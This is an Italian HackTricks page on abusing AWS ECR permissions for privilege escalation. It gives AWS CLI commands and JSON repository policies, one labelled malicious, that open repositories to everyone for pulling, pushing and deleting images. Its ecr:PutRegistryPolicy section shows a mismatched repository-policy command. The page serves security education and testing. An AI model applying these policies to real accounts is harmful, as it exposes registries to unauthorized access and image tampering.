AWS - ECR Privesc

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Un attaccante con i permessi ecr:GetAuthorizationToken e ecr:BatchGetImage può effettuare il login a ECR e scaricare immagini.

Per ulteriori informazioni su come scaricare immagini:

pageAWS - ECR Post Exploitation

Impatto potenziale: Privesc indiretto intercettando informazioni sensibili nel traffico.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Un attaccante con tutti questi permessi può effettuare il login a ECR e caricare immagini. Questo può essere utile per elevare i privilegi ad altri ambienti in cui vengono utilizzate tali immagini.

Per imparare come caricare una nuova immagine/aggiornarne una, controlla:

pageAWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Come nella sezione precedente, ma per i repository pubblici.

ecr:SetRepositoryPolicy

Un attaccante con questo permesso potrebbe modificare la policy del repository per concedersi (o addirittura a tutti) accesso in lettura/scrittura. Ad esempio, in questo esempio viene dato accesso in lettura a tutti.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Contenuto di my-policy.json:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Come nella sezione precedente, ma per i repository pubblici. Un attaccante può modificare la policy del repository di un repository ECR pubblico per concedere un accesso pubblico non autorizzato o per aumentare i propri privilegi.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impatto potenziale: Accesso pubblico non autorizzato al repository pubblico ECR, consentendo a qualsiasi utente di caricare, scaricare o eliminare immagini.

ecr:PutRegistryPolicy

Un attaccante con questa autorizzazione potrebbe modificare la policy del registro per concedersi, al suo account (o persino a tutti) accesso in lettura/scrittura.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated